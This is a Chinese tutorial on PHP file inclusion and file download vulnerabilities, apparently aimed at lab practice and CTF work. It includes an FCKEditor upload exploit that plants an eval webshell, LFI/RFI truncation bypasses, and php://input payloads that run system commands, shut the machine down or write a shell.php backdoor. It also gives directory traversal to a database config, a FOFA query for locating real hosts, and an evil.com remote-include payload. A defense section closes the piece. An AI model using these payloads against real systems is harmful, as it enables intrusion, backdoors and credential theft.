文件包含与下载读取漏洞实战:一句话搞懂什么是文件包含漏洞
假设你有一个网站,里面有个功能可以根据用户传入的文件名来加载文件(比如加载不同的模板页面)。如果这个功能写得不够严谨,黑客就能利用它来加载各种恶意文件,甚至直接执行代码。
简单来说:文件包含漏洞 = 网站把用户传入的文件名当代码来执行了。
这就好比你让外卖员送你指定地址的餐,结果外卖员直接把钥匙给了对方------那对方想进你家干嘛就能干嘛了。
一、编辑器漏洞(文件上传篇回顾)
FCKEditor 漏洞
FCKEditor 是一个很老的网页编辑器(类似现在的富文本编辑器),早期很多网站在用。但它有个很有名的上传漏洞。
核心思路 :利用 %00 截断,让上传的文件被解析成 PHP 文件。
攻击步骤:
-
准备一个
fck.php漏洞利用脚本,里面主要做三件事:-
构造一个特殊的上传请求
-
文件名用
fu.php%00.gif这种方式(看起来是 gif 图片,实际会被保存成 php) -
文件内容写成
GIF89a<?php eval($_POST[cmd]) ?>(前面加图片头,后面是一句话木马)
-
-
在命令行执行:
php.exe .\fck.php 127.0.0.1:80 /fckeditor/
-
原理:请求类似这样的 URL
POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=fu.php%00.gif
-
上传成功后,访问:
就可以执行任意命令了!
二、文件包含漏洞:核心概念
什么是文件包含?
文件包含的本质是:把指定的文件当代码执行。
这会导致两种后果:
-
执行恶意代码(比如你上传了一张图片木马,它就能把它当 PHP 跑起来)
-
泄露敏感信息(比如读取数据库配置文件、管理员密码等)
怎么检测有没有这个漏洞?
| 检测方式 | 怎么做 |
|---|---|
| 白盒测试 | 直接去看源代码,搜索 include、require、include_once 这些关键字 |
| 黑盒测试 | 在 URL 里找类似 ?file=xxx.php、?page=home、?path=... 这样的参数,尝试替换成别的文件 |
三、本地文件包含(LFI)
1. 无限制的本地包含(最简单的情况)
假设网站有这样一段代码:
<?php
$filename = $_GET['filename']; // 用户传什么文件名就用什么
include($filename); // 直接包含进来执行
?>
黑客只要准备一个 1.txt:
<?php phpinfo(); ?>
然后访问:
http://127.0.0.1/include/upload.php?filename=1.txt
虽然 1.txt 是个文本文件,但通过 include 被当成 PHP 代码执行了!
2. 有限制的本地包含(带后缀拼接)
网站可能做了点"防护",强制加个后缀:
<?php
$filename = $_GET['filename'];
include($filename . ".html"); // 强制拼接 .html 后缀
?>
直接访问 ?filename=1.txt 会变成 1.txt.html,找不到这个文件。但黑客有办法绕过!
绕过方法一:00 截断
?filename=1.txt%00
原理:%00 是 URL 编码的空字节,早期版本的 PHP(PHP < 5.3.4)遇到空字节就会"截断",后面的 .html 被忽略,实际执行的是 1.txt。
绕过方法二:长度截断
Windows 系统文件名最长 256 个字符,Linux 是 4096 个字符。如果文件名太长,系统会自动截断后面的内容。
?filename=1.txt..................................................................................................................................................................................................................................................................................................................................................................................................................................................................
当文件名超长时,系统会自动截断,把后面拼的 .html 给"挤掉"了。
四、远程文件包含(RFI)
远程文件包含更狠------它直接从别的服务器加载文件来执行!
1. 无限制的远程包含
在另一台服务器(比如 192.168.220.137)上放一个 1.txt:
<?php phpinfo(); ?>
然后访问:
http://127.0.0.1/include/upload.php?filename=http://192.168.220.137/1.txt
网站会去下载这个远程文件并执行!
前提条件 :PHP 的配置文件中 allow_url_include = On
2. 有限制的远程包含及绕过
同样遇到强制拼接后缀的情况:
include($filename . ".html");
绕过方法一:文件名本身带后缀
把远程服务器上的文件直接改成 1.txt.html,然后访问:
?filename=http://192.168.220.137/1.txt
绕过方法二:用 %23(# 号)截断
URL 里的 # 后面的内容被浏览器/服务器当作锚点处理,不会作为文件名的一部分:
?filename=http://192.168.220.137/1.txt%23
绕过方法三:用 ? 问号截断
问号后面的内容被当作查询参数,也不会拼到文件名里:
?filename=http://192.168.220.137/1.txt?
五、PHP 伪协议:文件包含的终极杀器
PHP 伪协议是一种特殊的"文件路径格式",可以用来读取源码、执行代码等,是文件包含漏洞中最常用的技巧。
支持的伪协议一览
| 伪协议 | 用途 |
|---|---|
file:// |
访问本地文件系统 |
http:// / https:// |
访问 HTTP/HTTPS 网址 |
ftp:// |
访问 FTP URL |
php:// |
访问各种输入/输出流(最常用!) |
zlib:// |
压缩流 |
data:// |
直接把数据嵌在 URL 里 |
glob:// |
查找匹配文件路径 |
phar:// |
PHP 归档 |
ssh2:// |
SSH 安全连接 |
rar:// / ogg:// |
各种特殊流 |
expect:// |
处理交互式命令流 |
伪协议 1:php://filter(读源码神器)
用途:读取 PHP 文件的源代码(不会执行它),常用于获取网站配置文件、数据库密码等。
基本格式:
php://filter/[过滤器]/resource=[要读的文件]
常用过滤器:
| 过滤器 | 效果 |
|---|---|
convert.base64-encode |
把文件内容转成 base64 编码输出 |
convert.base64-decode |
base64 解码 |
string.rot13 |
ROT13 字符转换 |
string.toupper |
转大写 |
string.tolower |
转小写 |
string.strip_tags |
去除 HTML/PHP 标签 |
实战案例 :读取 upload.php 的源代码
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
返回的是一大串 base64 编码,解码后就能看到源代码了!用浏览器的 base64 解码工具(或命令行 base64 -d)就能还原。
伪协议 2:php://input(执行代码神器)
用途:直接把 POST 请求的数据当 PHP 代码执行,不需要上传任何文件!
格式:
URL: http://xxx/include.php?file=php://input
POST: <?php phpinfo(); ?>
实战案例 1:查看服务器版本
URL: http://localhost/include/upload.php?filename=php://input
POST: <?php system('ver')?>
实战案例 2:查看服务器 IP 配置
URL: http://localhost/include/upload.php?filename=php://input
POST: <?php system('ipconfig')?>
实战案例 3:关机恶作剧
POST: <?php system('shutdown -s -t 10800')?> // 10800秒后关机
POST: <?php system('shutdown -a')?> // 取消关机
实战案例 4:写一句话木马到目标网站
URL: http://localhost/include/upload.php?filename=php://input
POST: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>
这样就在目标网站根目录下生成了一个 shell.php 木马文件,以后直接访问:
http://localhost/include/shell.php?cmd=phpinfo();
伪协议 3:file://(读本地文件)
用途:直接读取服务器上的任意文件
实战案例:读取系统 hosts 文件
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
Windows 的 hosts 文件存着域名和 IP 的映射关系,知道这个文件的内容对了解服务器网络配置有帮助。
伪协议 4:data://(把代码直接嵌在 URL 里)
用途:不需要上传文件,也不需要 POST 数据,直接把代码写在 URL 里!
基础用法:
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?>
进阶用法(base64 编码版):
先把 <?php phpinfo();?> 转成 base64:PD9waHAgcGhwaW5mbygpOz8+
然后访问:
http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b
注意 :URL 里的 + 号要用 %2b 来表示,不然会被当成空格。
实战案例:南邮 CTF 题目
某 CTF 网站有个文件包含点:
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回的 base64 解码后就能看到 flag 了!
六、文件下载/读取漏洞
文件下载漏洞和文件包含很像,区别是:不执行代码,只是让你下载/读取任意文件。
但这同样危险!因为黑客可以下载数据库配置文件、管理员账号密码等。
经典案例:Pikachu 靶场
Pikachu 是一个专门用来练手的 Web 漏洞靶场。它的文件下载漏洞 URL 长这样:
http://xxx/vul/unsafedownload/execdownload.php?filename=kb.png
正常情况下它下载的是一张叫 kb.png 的图片。
漏洞利用 :用 ../ 往上跳目录(目录遍历):
http://xxx/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
-
../代表往上跳一层目录 -
连写三个
../../../就跳到了网站根目录 -
然后去下载
inc/config.inc.php(数据库配置文件!)
这样黑客就下载到了目标网站的数据库配置文件,里面包含数据库地址、账号、密码等敏感信息。
用 FOFA 找真实目标
实战中可以用 FOFA 搜索引擎找真实存在的目标:
"pikachu" && country="CN" && title="Get the pikachu"
这样就能搜到互联网上真实部署了 Pikachu 靶场的服务器(一般是测试用,但如果配置不当也会出问题)。
七、防御方法
了解了这么多攻击手法,作为开发者应该怎么防御?
1. 严格限制文件路径
不好的写法:
$file = $_GET['file'];
include($file); // 完全不做限制
好的写法:
$file = $_GET['file'];
// 只允许特定目录下的文件
$allow_path = '/var/www/html/pages/';
$real_file = realpath($allow_path . $file);
if (strpos($real_file, $allow_path) === 0) {
include($real_file);
} else {
die('非法访问!');
}
2. 关闭远程包含
在 php.ini 中设置:
allow_url_include = Off
allow_url_fopen = Off
3. 使用白名单
只允许包含特定的几个文件:
$allow_list = ['home.php', 'about.php', 'contact.php'];
$file = $_GET['file'];
if (in_array($file, $allow_list)) {
include($file);
}
4. 升级 PHP 版本
旧版本的 PHP(< 5.3.4)才会被 %00 截断,升级到新版本可以避免这个问题。
5. 文件下载功能要校验
对于文件下载功能:
-
不要直接把用户输入的文件名拼到路径里
-
用文件 ID 来查找文件(数据库映射),而不是直接用文件名
-
限制下载的目录范围
总结:一张图看懂文件包含
| 攻击方式 | 用途 | 关键 payload |
|---|---|---|
| 本地包含 | 利用已上传的文件 | ?file=./upload/1.jpg |
| 远程包含 | 加载外部恶意文件 | ?file=http://evil.com/shell.txt |
| php://filter | 读取源代码 | ?file=php://filter/convert.base64-encode/resource=config.php |
| php://input | 执行任意代码 | ?file=php://input + POST 代码 |
| data:// | URL 里嵌代码 | ?file=data://text/plain,<?php phpinfo();?> |
| file:// | 读本地文件 | ?file=file:///etc/passwd |
| 目录遍历 | 下载任意文件 | ?filename=../../../config.php |
记住一句话:文件包含漏洞的本质是------用户可控的路径被当作文件来加载或执行。只要对路径做严格的校验和限制,这类漏洞是可以避免的!